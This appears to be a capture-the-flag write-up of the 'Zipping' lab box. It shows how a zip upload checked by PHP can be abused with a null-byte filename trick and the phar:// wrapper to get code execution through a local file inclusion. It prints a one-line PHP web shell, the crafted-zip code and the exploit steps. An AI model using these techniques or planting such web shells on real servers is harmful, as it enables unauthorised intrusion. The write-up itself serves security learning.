>>> with open('test\x00.pdf', 'w') as f:
...   f.write("this is a test file")
Traceback (most recent call last):                                                                       
  File "<stdin>", line 1, in <module>               
ValueError: embedded null byte  

Python will create a Zip when given a null in the filename:

>>> import zipfile
>>> with zipfile.ZipFile("", "w") as zip_file:
...     zip_file.writestr("test.php\x00.pdf", "this is a test")

However, if I look at a hex dump of the resulting file, the \x00.pdf is gone:


Instead, I’ll write one with two dots, the first acting as a placeholder:

>>> with zipfile.ZipFile("", "w") as zip_file:
...     zip_file.writestr("0xdf.php..pdf", "<?php system($_REQUEST['cmd']); ?>")

Now I’ll open in a hex editor find the references to the filename:


Changing the first one will break 7z, which is important because that’s what Zipping uses. I’ll just change the first null in the second filename:


Handling Nulls 7z/zip vs PHP

Once I’ve edited the null into the second filename instance inside the zip, unzip and 7z both show it as just 0xdf.php, stopping at the null:

oxdf@hacky$ unzip -l 
  Length      Date    Time    Name
---------  ---------- -----   ----
       34  2024-01-10 12:34   0xdf.php
---------                     -------
       34                     1 file
oxdf@hacky$ 7z l 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 9 5900X 12-Core Processor             (A20F10),ASM,AES-NI)

Scanning the drive for archives:
1 file, 158 bytes (1 KiB)

Listing archive:

Path =
Type = zip
Physical Size = 158

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2024-01-10 12:34:00 .....           34           34  0xdf.php
------------------- ----- ------------ ------------  ------------------------
2024-01-10 12:34:00                 34           34  1 files

Turning to PHP, to be able to work with Zip archives, I’ll need to install apt install php-zip. With that, I’ll drop to a PHP shell and open

oxdf@hacky$ php -a
Interactive shell

php > $zip = new ZipArchive;
php > echo $zip->open('');

It has one file:

php > echo $zip->count();

And the name includes the null:

php > echo $zip->getNameIndex(0);
0xdf.php .pdf

Zippping Source Analysis

With that background, I’ll look at the code on Zipping that handles the uploaded zip archive. It starts by getting a hash, using it to make an uploads path, and getting the temp directory location:

    // Create an md5 hash of the zip file
    $fileHash = md5_file($zipFile);
    // Create a new directory for the extracted files
    $uploadDir = "uploads/$fileHash/";
    $tmpDir = sys_get_temp_dir();

sys_get_temp_dir() just returns /tmp, or sometimes /var/tmp:

php > echo sys_get_temp_dir();

On Zipping it’s /tmp as well.

Then it opens the given archive, makes sure there’s exactly one file, and gets the filename:

    // Extract the files from the zip
    $zip = new ZipArchive;    
    if ($zip->open($zipFile) === true) {              
      if ($zip->count() > 1) {
        echo '<p>Please include a single PDF file in the archive.<p>';
      } else {
      // Get the name of the compressed file
        $fileName = $zip->getNameIndex(0);

It then checks that the name ends with .pdf, and if so, it uses 7z to extract the file into the $uploadPath:

      if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
        $uploadPath = $tmpDir.'/'.$uploadDir;
        echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null');
        if (file_exists($uploadPath.$fileName)) {
          rename($uploadPath.$fileName, $uploadDir.$fileName);

If the file then exists, it moves to to $uploadDir, which is in the web directory.

Exploit Zipping

So what happens with the null byte in the name on Zipping? It will get the zip and when it gets the filename, it gets the full name, 0xdf.php\x00.pdf. It checks that the file has a .pdf extension, which it does. It then uses 7z to extract, creating the file /tmp/uploads/[hash]/0xdf.php.

Then PHP checks if the file exists, and it doesn’t, as it’s looking for /tmp/uploads/[hash]/0xdf.php\x00.pdf. So it doesn’t move the directory to the web, and it continues (sending back a success message with the path that doesn’t exist).

If I upload via the webpage, it returns a link:


Clicking it returns a 404:


If I use the LFI to include that page, it gives code execution:


Via Phar Filter


PHP has this concept of PHAR (short for PHP Archive) files. They are kind of like what JAR files are for Java, a single file that contains an entire application. They can be referenced by using the phar:// filter, like this: phar://path/to/archive.phar/file_in_archive.

There are complex ways to create a PHAR file, with a lot of good detail in this blog post. But they can also just be Zip files.


I said earlier that this LFI was harder to exploit because of the file_exists call. What’s useful about the phar:// wrapper here is that it passes the file_exists call if the file inside it exists.

To demonstrate, I’ll create a simple text file in a zip:

oxdf@hacky$ echo "this is a test" > test.txt
oxdf@hacky$ zip test.txt 
  adding: test.txt (stored 0%)

Now from PHP, I can access that file inside the archive:

oxdf@hacky$ php -a
Interactive shell

php > echo file_get_contents('phar://');
this is a test

And it returns true for file_exists:

php > if (file_exists('phar://')) { echo "exists"; }

It also doesn’t matter what the extension is. If I rename to test.pdf:

oxdf@hacky$ cp test.pdf

It still works the same:

php > echo file_get_contents('phar://test.pdf/test.txt');
this is a test
php > if (file_exists('phar://test.pdf/test.txt')) { echo "exists"; }

Exploit Zipping

I’ll create a simple webshell, shell.php:

<?php system($_REQUEST['cmd']); ?>

I’ll zip it into a file called shell.pdf:

oxdf@hacky$ zip shell.pdf shell.php 
  adding: shell.php (stored 0%)
oxdf@hacky$ unzip -l shell.pdf
Archive:  shell.pdf
  Length      Date    Time    Name
---------  ---------- -----   ----
       35  2024-01-11 14:26   shell.php
---------                     -------
       35                     1 file

I’ll put that into a zip archive called

oxdf@hacky$ zip shell.pdf 
  adding: shell.pdf (deflated 34%)
oxdf@hacky$ unzip -l 
  Length      Date    Time    Name
---------  ---------- -----   ----
      203  2024-01-11 14:26   shell.pdf
---------                     -------
      203                     1 file

Now when I upload that zip, Zipping will unzip shell.pdf and return me the link to it:


I know that file is at /var/www/html/uploads/ea409d50349a8436fe49f7ec66aa6132/shell.pdf, so I can visit:

And it runs the given command, id:

oxdf@hacky$ curl ''
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)

That’s a super cool trick!